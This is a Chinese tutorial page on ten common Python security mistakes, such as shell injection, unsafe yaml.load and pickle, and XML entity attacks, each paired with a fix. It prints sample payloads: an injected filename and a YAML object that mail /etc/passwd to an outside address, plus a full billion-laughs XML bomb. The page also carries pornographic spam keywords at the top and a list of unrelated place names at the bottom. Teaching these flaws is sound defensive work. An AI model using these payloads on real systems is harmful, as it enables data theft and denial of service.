最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

詳細(xì)總結(jié)Python常見(jiàn)的安全問(wèn)題

 更新時(shí)間:2021年05月21日 15:24:45   作者:你總是陰雨天  
今天帶各位學(xué)習(xí)一下Python安全問(wèn)題,文中介紹的非常詳細(xì),對(duì)正在學(xué)習(xí)python的小伙伴有很好地幫助,需要的朋友可以參考下

一、輸入注入

注入攻擊非常廣泛而且很常見(jiàn),注入有很多種類(lèi),它們影響所有的語(yǔ)言、框架和環(huán)境。

SQL 注入是直接編寫(xiě) SQL 查詢(xún)(而非使用 ORM) 時(shí)將字符串字面量與變量混合。可以通過(guò)http://m.fzitv.net/article/187001.htm
這個(gè)鏈接查看 SQL 注入所有可能發(fā)生的復(fù)雜方式。

命令注入可能在使用 popen、subprocess、os.system 調(diào)用一個(gè)進(jìn)程并從變量中獲取參數(shù)時(shí)發(fā)生,當(dāng)調(diào)用本地命令時(shí),有人可能會(huì)將某些值設(shè)置為惡意值。

下面是個(gè)簡(jiǎn)單的腳本,使用用戶(hù)提供的文件名調(diào)用子進(jìn)程:

import subprocess

def transcode_file(request, filename):
    command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
    subprocess.call(command, shell=True)  # a bad idea!

攻擊者會(huì)將 filename 的值設(shè)置為“; cat / etc / passwd | mail them@domain.com 或者其他同樣危險(xiǎn)的東西。

修復(fù):

如果你使用了 Web 框架,可以用附帶的實(shí)用程序?qū)斎脒M(jìn)行清理,除非有充分的理由,否則不要手動(dòng)構(gòu)建 SQL 查詢(xún),大多數(shù) ORM 都具有內(nèi)置的消毒方法。

對(duì)于 shell,可以使用 shlex 模塊正確地轉(zhuǎn)義輸入。

二、assert 語(yǔ)句(Assert statements)

不要使用 assert 語(yǔ)句來(lái)防止用戶(hù)訪問(wèn)不應(yīng)訪問(wèn)的代碼段。

def foo(request, user):
   assert user.is_admin, “user does not have access”
   # secure code...

現(xiàn)在,默認(rèn)情況下,Python 以 __debug__ 為 true 來(lái)執(zhí)行腳本,但在生產(chǎn)環(huán)境中,通常使用優(yōu)化運(yùn)行,這將會(huì)跳過(guò) assert 語(yǔ)句并直接轉(zhuǎn)到安全代碼,而不管用戶(hù)是否是 is_admin。

修復(fù):

僅在與其他開(kāi)發(fā)人員進(jìn)行通信時(shí)使用 assert 語(yǔ)句,例如在單元測(cè)試中或?yàn)榱朔乐共徽_的 API 使用。

三、計(jì)時(shí)攻擊(Timing attacks)

計(jì)時(shí)攻擊本質(zhì)上是一種通過(guò)計(jì)時(shí)比較提供值所需時(shí)間來(lái)暴露行為和算法的方式。計(jì)時(shí)攻擊需要精確性,所以通常不能用于高延遲的遠(yuǎn)程網(wǎng)絡(luò)。由于大多數(shù) Web 應(yīng)用程序涉及可變延遲,因此幾乎不可能在 HTTP Web 服務(wù)器上編寫(xiě)計(jì)時(shí)攻擊。

但是,如果你有提示輸入密碼的命令行應(yīng)用程序,則攻擊者可以編寫(xiě)一個(gè)簡(jiǎn)單的腳本來(lái)計(jì)算將其值與實(shí)際密碼進(jìn)行比較所需的時(shí)間。

修復(fù):

使用在 Python 3.5 中引入的 secrets.compare_digest 來(lái)比較密碼和其他私密值。

四、臨時(shí)文件(Temporary files)

要在 Python 中創(chuàng)建臨時(shí)文件,通常使用 mktemp() 函數(shù)生成一個(gè)文件名,然后使用該名稱(chēng)創(chuàng)建一個(gè)文件。 這是不安全的,因?yàn)榱硪粋€(gè)進(jìn)程可能會(huì)在調(diào)用 mktemp() 和隨后嘗試通過(guò)第一個(gè)進(jìn)程創(chuàng)建文件之間的空隙創(chuàng)建一個(gè)同名文件。這意味著應(yīng)用程序可能加載錯(cuò)誤的數(shù)據(jù)或暴露其他的臨時(shí)數(shù)據(jù)。

如果調(diào)用不正確的方法,則最新版本的 Python 會(huì)拋出運(yùn)行警告。

修復(fù)

如果需要生成臨時(shí)文件,請(qǐng)使用 tempfile 模塊并使用 mkstemp。

五、使用 yaml.load

引用 PyYAML 文檔:

警告:使用從不可信源接收到的數(shù)據(jù)來(lái)調(diào)用 yaml.load 是不安全的! yaml.load 和pickle.load 一樣強(qiáng)大,所以可以調(diào)用任何 Python 函數(shù)。

在流行的 Python 項(xiàng)目 Ansible 中這個(gè)例子,你可以將此值作為(有效)YAML 提供給 Ansible Vault,它使用文件中提供的參數(shù)調(diào)用 os.system()。

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

所以,從用戶(hù)提供的值中有效地加載 YAML 文件會(huì)讓?xiě)?yīng)用對(duì)攻擊打開(kāi)大門(mén)。

修復(fù):

總是不優(yōu)先使用 yaml.safe_load,除非你有一個(gè)非常好的理由。

六、解析 XML(Parsing XML)

如果你的應(yīng)用程序要加載、解析 XML 文件,則你可能正在使用 XML 標(biāo)準(zhǔn)庫(kù)模塊。通過(guò) XML 的攻擊大多是 DoS 風(fēng)格(旨在使系統(tǒng)崩潰而不是泄露數(shù)據(jù)),這些攻擊十分常見(jiàn),特別是在解析外部(即不可信任的)XML 文件時(shí)。

其中有個(gè)「billion laughs」,因?yàn)樗?payload 通常包含很多(十億)「lols」?;旧?,這個(gè)原理是可以在 XML 中使用參照實(shí)體,所以當(dāng)解析器將這個(gè) XML 文件加載到內(nèi)存中時(shí),它會(huì)消耗數(shù) G 大小的內(nèi)存(RAM)。

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

另一些攻擊使用外部實(shí)體擴(kuò)展。XML 支持從外部 URL 引用實(shí)體,XML解析器通常會(huì)毫無(wú)疑問(wèn)地獲取并加載該資源。攻擊者可以規(guī)避防火墻并訪問(wèn)受限制的資源,因?yàn)樗姓?qǐng)求都是由內(nèi)部可信的 IP 地址創(chuàng)建的,而不是來(lái)自外部。

需要考慮的另一種情況是依賴(lài)的第三方軟件包需要解碼 XML ,例如配置文件、遠(yuǎn)程 API。你甚至可能不知道某個(gè)依賴(lài)關(guān)系會(huì)將這些類(lèi)型的攻擊置之不理。

修復(fù):

使用 defusedxml 替換標(biāo)準(zhǔn)庫(kù)模塊,它增加了針對(duì)這些類(lèi)型攻擊的安全防護(hù)。

七、受污染的 site-packages 或 import 路徑

Python 的 import 系統(tǒng)非常靈活,當(dāng)你想要為測(cè)試寫(xiě)補(bǔ)丁或重載核心功能時(shí),這是非常棒的。

但這卻是 Python 中最大的安全漏洞之一。

安裝第三方軟件包,無(wú)論是在虛擬環(huán)境中還是全局(通常不鼓勵(lì))都會(huì)讓你看到這些軟件包中的安全漏洞。有一些發(fā)布到 PyPi 的軟件包與流行的軟件包具有相似的名稱(chēng),但是卻執(zhí)行了任意代碼。

需要考慮的另一種情況是依賴(lài)的依賴(lài),他們可能包含漏洞,他們也可以通過(guò)導(dǎo)入系統(tǒng)覆蓋Python 中的默認(rèn)行為。

修復(fù)

看看 http://PyUp.io 及其安全服務(wù),為所有應(yīng)用程序使用虛擬環(huán)境,并確保全局的 site-packages 盡可能干凈,檢查包簽名。

八、序列化 Pickles

反序列化 pickle 數(shù)據(jù)和 YAML 一樣糟糕。Python 類(lèi)可以聲明一個(gè) __reduce__ 方法,該方法返回一個(gè)字符串,或一個(gè)可調(diào)用的元組以及使用 pickle 序列化時(shí)調(diào)用的參數(shù)。攻擊者可以使用它來(lái)包含對(duì)其中一個(gè)子進(jìn)程模塊的引用,以在主機(jī)上運(yùn)行任意命令。

修復(fù)

切勿使用 pickle 反序列化不受信任或未經(jīng)身份驗(yàn)證來(lái)源的數(shù)據(jù)。改用另一種序列化模式(如JSON)。

九、使用系統(tǒng) Python 運(yùn)行時(shí)并且不修復(fù)它

大多數(shù) POSIX 系統(tǒng)都自帶有一個(gè) Python 2 版本(通常是舊版本)。

有時(shí)候 Python(即 CPython 是用 C 語(yǔ)言編寫(xiě)的) 解釋器本身存在漏洞, C 中的常見(jiàn)安全問(wèn)題與內(nèi)存分配有關(guān),所以大多是緩沖區(qū)溢出錯(cuò)誤,CPython 多年來(lái)一直存在一些溢出漏洞,每個(gè)漏洞都在后續(xù)版本中進(jìn)行了修復(fù)。也就是說(shuō),如果及時(shí)升級(jí) python 運(yùn)行時(shí),就很安全。

修復(fù):

為生產(chǎn)應(yīng)用程序安裝最新版本的 Python,并及時(shí)安裝修復(fù)更新!

十、不修復(fù)依賴(lài)關(guān)系

類(lèi)似于不修補(bǔ) python 運(yùn)行時(shí),還需要定期修補(bǔ)依賴(lài)關(guān)系。

修復(fù)

使用像 PyUp.io 這樣的服務(wù)來(lái)檢查更新,向應(yīng)用程序提出 pr,并運(yùn)行測(cè)試以保持軟件包是最新的。

到此這篇關(guān)于詳細(xì)總結(jié)Python常見(jiàn)的安全問(wèn)題的文章就介紹到這了,更多相關(guān)Python安全問(wèn)題內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • python的random和time模塊詳解

    python的random和time模塊詳解

    這篇文章主要介紹了python的random和time模塊,具有一定借鑒價(jià)值,需要的朋友可以參考下,希望能夠給你帶來(lái)幫助
    2021-10-10
  • Python反射和內(nèi)置方法重寫(xiě)操作詳解

    Python反射和內(nèi)置方法重寫(xiě)操作詳解

    這篇文章主要介紹了Python反射和內(nèi)置方法重寫(xiě),結(jié)合實(shí)例形式較為詳細(xì)的分析了Python反射概念、原理及內(nèi)置方法重寫(xiě)相關(guān)操作技巧與注意事項(xiàng),需要的朋友可以參考下
    2018-08-08
  • Python中的OpenCV圖像腐蝕處理和膨脹處理

    Python中的OpenCV圖像腐蝕處理和膨脹處理

    這篇文章主要介紹了Python中的OpenCV圖像腐蝕處理和膨脹處理,OpenCV是一個(gè)跨平臺(tái)的計(jì)算機(jī)視覺(jué)庫(kù),可用于開(kāi)發(fā)實(shí)時(shí)的圖像處理、計(jì)算機(jī)視覺(jué)以及模式識(shí)別程序,需要的朋友可以參考下
    2023-08-08
  • Django分頁(yè)器的用法詳解

    Django分頁(yè)器的用法詳解

    本文主要介紹在利用Django開(kāi)發(fā)MVT模型項(xiàng)目時(shí)分頁(yè)器的使用,感興趣的朋友可以參考下
    2021-05-05
  • 從基礎(chǔ)到高級(jí)詳解Python音頻提取全攻略

    從基礎(chǔ)到高級(jí)詳解Python音頻提取全攻略

    據(jù)2024年音頻處理調(diào)查報(bào)告顯示,Python已成為音頻處理的首選語(yǔ)言,占比達(dá)78%,本文將深入解析Python提取音頻的完整技術(shù)棧,涵蓋文件解析、特征提取、語(yǔ)音分離等核心場(chǎng)景
    2025-06-06
  • Python 抓取動(dòng)態(tài)網(wǎng)頁(yè)內(nèi)容方案詳解

    Python 抓取動(dòng)態(tài)網(wǎng)頁(yè)內(nèi)容方案詳解

    這篇文章主要介紹了Python 抓取動(dòng)態(tài)網(wǎng)頁(yè)內(nèi)容方案詳解,首先通過(guò)Chrome的工具來(lái)進(jìn)行分析,然后再使用python進(jìn)行處理,最終得到我們需要的內(nèi)容,非常的方便,這里也算是給大家提供一個(gè)思路
    2014-12-12
  • Python打造出適合自己的定制化Eclipse IDE

    Python打造出適合自己的定制化Eclipse IDE

    這篇文章主要介紹了Python打造出適合自己的定制化Eclipse IDE的相關(guān)資料,需要的朋友可以參考下
    2016-03-03
  • Python編程之多態(tài)用法實(shí)例詳解

    Python編程之多態(tài)用法實(shí)例詳解

    這篇文章主要介紹了Python編程之多態(tài)用法,以實(shí)例形式詳細(xì)分析了Python中多態(tài)的使用技巧,需要的朋友可以參考下
    2015-05-05
  • Python數(shù)據(jù)類(lèi)型轉(zhuǎn)換匯總

    Python數(shù)據(jù)類(lèi)型轉(zhuǎn)換匯總

    這篇文章主要給大家分享的是Python數(shù)據(jù)類(lèi)型轉(zhuǎn)換匯總,int,float相互轉(zhuǎn)換、int,string相互轉(zhuǎn)換、float,string相互轉(zhuǎn)換、string,list相互轉(zhuǎn)換等常見(jiàn)內(nèi)容,需要的小伙伴可以參考一下
    2022-03-03
  • python筆記之mean()函數(shù)實(shí)現(xiàn)求取均值的功能代碼

    python筆記之mean()函數(shù)實(shí)現(xiàn)求取均值的功能代碼

    這篇文章主要介紹了python筆記之mean()函數(shù)實(shí)現(xiàn)求取均值的功能代碼,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2019-07-07

最新評(píng)論

遵化市| 锡林浩特市| 博湖县| 呼伦贝尔市| 龙门县| 延川县| 海盐县| 泰州市| 深泽县| 赤壁市| 新宁县| 山阴县| 贵阳市| 定安县| 四会市| 茌平县| 左云县| 沁源县| 静海县| 惠州市| 靖安县| 迭部县| 东丽区| 浦北县| 扶余县| 扎鲁特旗| 鄂托克前旗| 吴江市| 科技| 伽师县| 镇康县| 和平县| 绵竹市| 西丰县| 凭祥市| 道孚县| 永寿县| 夏河县| 隆德县| 二连浩特市| 青州市|